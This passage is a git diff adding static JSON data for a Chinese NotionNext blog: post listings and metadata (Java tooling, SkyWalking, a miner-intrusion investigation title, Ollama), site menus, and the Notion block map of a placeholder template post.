2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-4.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-4.json
new file mode 100644
index 000000000..8d9bfed45
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-4.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"93032c73-435f-4a73-8087-b71ecff3a86b":{"value":{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","version":7,"type":"page","content":["493c55bd-4441-4c1b-9ed3-3727291c7165","caf1ea9d-0926-41f4-8e85-090005e6e233","49531064-73d7-4a2a-806a-aa52e6c02baf","36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1","d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf","96ece850-8ea7-4392-aa14-5652d12c0e85","4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad","0824d5ea-eb31-48ac-9395-01a217b32b7d","c12fce83-2492-406d-ae08-a07b3da800c0","033e1eff-5111-4814-a316-b18a825cd37f","9da00a5e-0324-42dd-951e-4a7f0357a394","1da35185-65c3-4334-9a03-4627538afd8a","4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a","5bee4538-9df1-457d-9698-67f05ee5fb11"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"812fb188-40d0-4243-870f-852c143e0cf3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337112,"last_edited_time":1705630799318,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"812fb188-40d0-4243-870f-852c143e0cf3","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"493c55bd-4441-4c1b-9ed3-3727291c7165":{"value":{"id":"493c55bd-4441-4c1b-9ed3-3727291c7165","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["231b50b7-60fb-44fb-8978-2b12221a700a"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"fbc30a91-d324-4d91-b94b-2e2f627e7191","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fbc30a91-d324-4d91-b94b-2e2f627e7191"}},"231b50b7-60fb-44fb-8978-2b12221a700a":{"value":{"id":"231b50b7-60fb-44fb-8978-2b12221a700a","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"97bc954b-3123-4311-916d-1dc564f3e629","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"493c55bd-4441-4c1b-9ed3-3727291c7165","parent_table":"block","alive":true,"copied_from":"97bc954b-3123-4311-916d-1dc564f3e629"}},"caf1ea9d-0926-41f4-8e85-090005e6e233":{"value":{"id":"caf1ea9d-0926-41f4-8e85-090005e6e233","type":"text","format":{"copied_from_pointer":{"id":"106a5d1b-ad19-4008-9a68-6d29788ad7ab","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"106a5d1b-ad19-4008-9a68-6d29788ad7ab"}},"49531064-73d7-4a2a-806a-aa52e6c02baf":{"value":{"id":"49531064-73d7-4a2a-806a-aa52e6c02baf","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"7f9ecb2b-7f92-499d-8418-ad4acd28a3c0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"7f9ecb2b-7f92-499d-8418-ad4acd28a3c0"}},"36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1":{"value":{"id":"36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"9fb47e91-4cd8-4773-b883-7d51ef688cad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"9fb47e91-4cd8-4773-b883-7d51ef688cad"}},"d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf":{"value":{"id":"d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"fa7c273f-dd86-48c3-a29a-1312f486273f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73